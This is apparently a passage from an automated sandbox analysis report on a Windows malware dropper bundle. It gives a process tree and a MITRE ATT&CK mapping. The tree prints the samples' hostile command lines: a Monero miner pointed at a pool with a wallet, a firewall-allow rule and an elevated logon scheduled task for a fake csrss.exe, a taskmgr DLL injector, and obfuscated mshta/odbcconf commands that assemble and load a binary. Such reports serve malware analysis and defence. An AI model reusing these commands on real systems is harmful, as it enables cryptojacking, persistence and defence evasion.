        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
        7⤵
        Executes dropped EXE
        
        PID:4340
      - C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
        
        "C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2317ff0edbb41b.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3800
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon2317ff0edbb41b.exe
        
        Mon2317ff0edbb41b.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5440
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon2317ff0edbb41b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon2317ff0edbb41b.exe" -u
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2540
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23938d415978.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1204
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23938d415978.exe
        
        Mon23938d415978.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5160
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23938d415978.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23938d415978.exe"
        6⤵
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:5100
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5668
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe /306-306
        7⤵
        Executes dropped EXE
        Manipulates WinMonFS driver.
        
        PID:5688
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2356
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        8⤵
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        8⤵
        Executes dropped EXE
        
        PID:6012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23da17a89d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3848
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23da17a89d.exe
        
        Mon23da17a89d.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4272
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 408
        6⤵
        Program crash
        
        PID:3412
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23eb9bbd34021fd7.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2312
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23eb9bbd34021fd7.exe
        
        Mon23eb9bbd34021fd7.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4064
      - C:\Users\Admin\AppData\Local\Temp\is-569E2.tmp\Mon23eb9bbd34021fd7.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-569E2.tmp\Mon23eb9bbd34021fd7.tmp" /SL5="$100022,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23eb9bbd34021fd7.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23c390e94b6b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4892
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23c390e94b6b.exe
        
        Mon23c390e94b6b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon237638f22d11.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1936
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        
        Mon237638f22d11.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:832
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        6⤵
        Executes dropped EXE
        
        PID:3372
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        6⤵
        Executes dropped EXE
        
        PID:1964
      - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237638f22d11.exe
        6⤵
        Executes dropped EXE
        
        PID:4268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon239d2cfa97d5f2304.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3264
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon239d2cfa97d5f2304.exe
        
        Mon239d2cfa97d5f2304.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5288
      - C:\Users\Admin\AppData\Local\Temp\is-QO04H.tmp\Mon239d2cfa97d5f2304.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QO04H.tmp\Mon239d2cfa97d5f2304.tmp" /SL5="$40208,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon239d2cfa97d5f2304.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon239d2cfa97d5f2304.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon239d2cfa97d5f2304.exe" /SILENT
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3692
        
        C:\Users\Admin\AppData\Local\Temp\is-6UEG4.tmp\Mon239d2cfa97d5f2304.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-6UEG4.tmp\Mon239d2cfa97d5f2304.tmp" /SL5="$80116,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon239d2cfa97d5f2304.exe" /SILENT
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1884
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon23c83f1827e40acef.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3512
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23c83f1827e40acef.exe
        
        Mon23c83f1827e40acef.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5388
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23c83f1827e40acef.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23c83f1827e40acef.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2332
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23c83f1827e40acef.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon23c83f1827e40acef.exe" ) do taskkill -f /Im "%~NXg"
        7⤵
        
        PID:1140
        
        C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
        
        Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
        8⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4996
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        9⤵
        Checks computer location settings
        
        PID:4736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3008
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        9⤵
        Checks computer location settings
        System Binary Proxy Execution: Odbcconf
        
        PID:2828
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        10⤵
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:4444
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        11⤵
        
        PID:4280
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        11⤵
        
        PID:1236
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        11⤵
        Loads dropped DLL
        System Binary Proxy Execution: Odbcconf
        
        PID:3700
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f /Im "Mon23c83f1827e40acef.exe"
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon234cf515ac88.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4728
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon234cf515ac88.exe
        
        Mon234cf515ac88.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon237fc92db7bada.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4508
    - - C:\Users\Admin\AppData\Local\Temp\7zSC9344B58\Mon237fc92db7bada.exe
        
        Mon237fc92db7bada.exe
        5⤵
        Executes dropped EXE
        
        PID:2340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3156 -ip 3156
1⤵
PID:1244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4272 -ip 4272
1⤵
PID:5732

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4124

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5088

C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3940
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  2⤵
  - Executes dropped EXE
  PID:3316

C:\Windows\rss\csrss.exe
"C:\Windows\rss\csrss.exe"
1⤵
- Executes dropped EXE
PID:3796
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  PID:1852

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
1⤵
- Executes dropped EXE
PID:384
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  PID:5016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6044

C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4160
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  2⤵
  - Executes dropped EXE
  PID:3336

C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4176
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  2⤵
  - Executes dropped EXE
  PID:1548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry

System Binary Proxy Execution

T1218

Odbcconf

T1218.008

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery